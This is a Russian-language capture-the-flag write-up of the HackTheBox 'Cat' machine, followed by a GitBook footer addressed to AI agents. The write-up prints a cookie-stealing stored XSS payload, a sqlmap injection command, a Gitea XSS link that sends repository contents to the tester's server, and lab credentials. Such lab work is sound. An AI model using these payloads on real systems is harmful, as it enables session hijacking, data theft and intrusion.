> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Разбор HackTheBox Cat

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Навыки:**

* Перебор директорий (файл .git)
* Анализ исходного кода (дамп Git-репозитория)
* Эксплуатация сохранённого XSS и угон сессии
* SQL-инъекция (SQLite) с использованием sqlmap
* Взлом хэшей паролей
* Переадресация портов через SSH
* Эксплуатация Gitea (v1.22.0) — сохранённый XSS
* Эксфильтрация конфиденциальных данных через XSS-пейлоады
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/2f43c762d000c99c84018e5f7f44cc302c6d28e3" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/d41f0eaff4b35cf5c035adf5bbe5db859a3b6638" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/62b12e794eeafbc4e403ccfe71124d203d58f998" alt=""><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/d9a55b847843bc641924d788cb8e908566b3ceec" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

<figure><img src="/files/9c7ddfb1d666930ce37d390da5bea4ec45f3fee2" alt="" width="563"><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/dc7db80b4a7b79bf48e302f2856239234a447318" alt=""><figcaption></figcaption></figure>

Открыв `http://cat.htb` сайт, вы найдёте форму регистрации.

<figure><img src="/files/8fceb441aadbcd8de18f0e61a37951cc199de675" alt=""><figcaption></figcaption></figure>

Мы также замечаем функцию голосования.

<figure><img src="/files/72c414013acab79b6378e8f778b12dbcbddbb5b5" alt=""><figcaption></figcaption></figure>

**Перебор директорий**

Мы запускаем `gobuster` для обнаружения скрытых путей:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/3c829367e477b1096b30421937602573617c89b9" alt=""><figcaption></figcaption></figure>

Это выявляет несколько интересных файлов, включая `.git` каталог.

<figure><img src="/files/fa8245424fb9451b378f0431f9dceb56e702f460" alt="" width="563"><figcaption></figcaption></figure>

**дамп Git-репозитория**

Мы используем `git-dumper` для извлечения содержимого репозитория:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/6b521ba5fef6840ff87a577912948110e076f6bd" alt=""><figcaption></figcaption></figure>

Изучив исходный код, мы обнаруживаем **уязвимость SQL** а также возможность **сохранённый XSS**.

<figure><img src="/files/113673225da6704da924aee223bf14013e11ddb6" alt=""><figcaption></figcaption></figure>

## Уязвимость XSS

Приложение принимает *username* и *email* поля без надлежащей фильтрации. Это позволяет внедрять вредоносные скрипты.

<figure><img src="/files/f1e8da1e0f4604bbdf38d12366b1722007e3da56" alt=""><figcaption></figcaption></figure>

**XSS-пейлоад**

Мы создаём пользователя со следующим именем:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Получение cookie администратора**

Мы слушаем на порту 8081:

```bash
python -m http.server 8081
```

<figure><img src="/files/de01baaff60e9a332f2386678cccb4fef81a86de" alt=""><figcaption></figcaption></figure>

После перехвата cookie мы получаем сессию администратора:

<figure><img src="/files/b98142f6dfe330a56658c7d1598e1b551fb0a486" alt=""><figcaption></figcaption></figure>

Мы заменяем нашу cookie сессии на cookie администратора и получаем доступ к **консоли администратора**.

<figure><img src="/files/6327b6885c5b553ca9062640853b5baf1566fca4" alt=""><figcaption></figcaption></figure>

## SQL-инъекция (SQLite)

<figure><img src="/files/13db2c5fc52317ae8a544ca5c61104515eb54a7a" alt=""><figcaption></figcaption></figure>

С правами администратора запустите `sqlmap` на уязвимой форме

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/e04b5d0188795bc0a8f8e77be5e9f53f80710f3a" alt=""><figcaption></figcaption></figure>

**Восстановление хэша**

Мы получаем данные пользователей **хэши паролей**. Вот несколько примеров:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Взлом паролей**

Используя [CrackStation](https://crackstation.net/), мы успешно определяем пароль пользователя `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/7e6e1d9be9163f02afdb767a6622a9c3ea65951e" alt=""><figcaption></figcaption></figure>

* **username** : rosa
* **пароль** : soyunaprincesarosa

Подключение по SSH с полученными учётными данными:

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/b63b5dd056bfca8e451daa0256c966be20942111" alt=""><figcaption></figcaption></figure>

### Переход к пользователю Axel

#### Перечисление LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa состоит в `adm` группе, доступ к:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/4a50101b8fa487674435f010c975f102b00f9451" alt=""><figcaption></figcaption></figure>

Найдены учётные данные:

* Username: axel
* Password : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/6a859543893e9966a940e9f625c8a591516e23c8" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/439fb400407c4124017d40be5c09709ff79ac036" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### Обнаружение внутренних портов:

```bash
netstat -tuln
```

* **Node.js** (port 3000)
* **SMTP** (587, 25)

Идентифицированные службы

<figure><img src="/files/72f1a4097d080fa4fb761438a8132c6f6234bfda" alt=""><figcaption></figcaption></figure>

#### Перенаправление порта

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Уязвимость XSS в Gitea v1.22.0

На `http://localhost:3000` -> **Gitea** доступна.

<figure><img src="/files/330f849d6524526a182a1c2cb51425736ae7bdde" alt=""><figcaption></figcaption></figure>

Войдите с учётными данными Axel.

<figure><img src="/files/48cee6b08d6036cf675e2186c2fc7af2ab215559" alt=""><figcaption></figcaption></figure>

Известная уязвимость XSS.

<figure><img src="/files/bfadd74434fa74fea766a01eabd2b0675a17b52d" alt=""><figcaption></figcaption></figure>

Мы создаём проект с описанием, содержащим:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/774dd24f6a569e0b72ce1b927329b814fa8d71bb" alt=""><figcaption></figcaption></figure>

* Результат:

<figure><img src="/files/e5d4224dd8d6fab3cbb0108348716552552c0995" alt=""><figcaption></figcaption></figure>

### Почта перехвачена через LinPEAS

<figure><img src="/files/41c9278990358b53728a22ea234a77a8b830e878" alt=""><figcaption></figcaption></figure>

Содержимое письма:

* jobert\@localhost должен проверить репозиторий Gitea

<figure><img src="/files/0540ea0956f5bbad7cf0c8d24cf161088a1077fa" alt=""><figcaption></figcaption></figure>

Мы отправляем XSS-ссылку, содержащую скрипт эксфильтрации, который читает содержимое `index.php` страницы репозитория Gitea, кодирует его в Base64, а затем отправляет на наш веб-сервер

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/a2f96e2cdcf799b0bd18df11967d80c207ccfff5" alt=""><figcaption></figcaption></figure>

#### Через наш веб-сервер

```bash
python -m http.server 8080
```

<figure><img src="/files/e9d7d99983421860a543931ae4325355d7cf4c80" alt=""><figcaption></figcaption></figure>

#### Экcфильтрованное содержимое (декодированное из base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/661e68d3085c5be028f6faa76d23d9b4493a7ace" alt=""><figcaption></figcaption></figure>

#### Получение root-прав

Для пользователя root используются повторно те же учётные данные

```bash
su root
```

<figure><img src="/files/1f89328abdb6b1584b16c93e8faa9ee833653b28" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/9a228f91df09e3074fdccaa7cdd14faf67c07711" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/6e8bc963da7fccf0fc9dedae83c7ca08ad06d5c2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
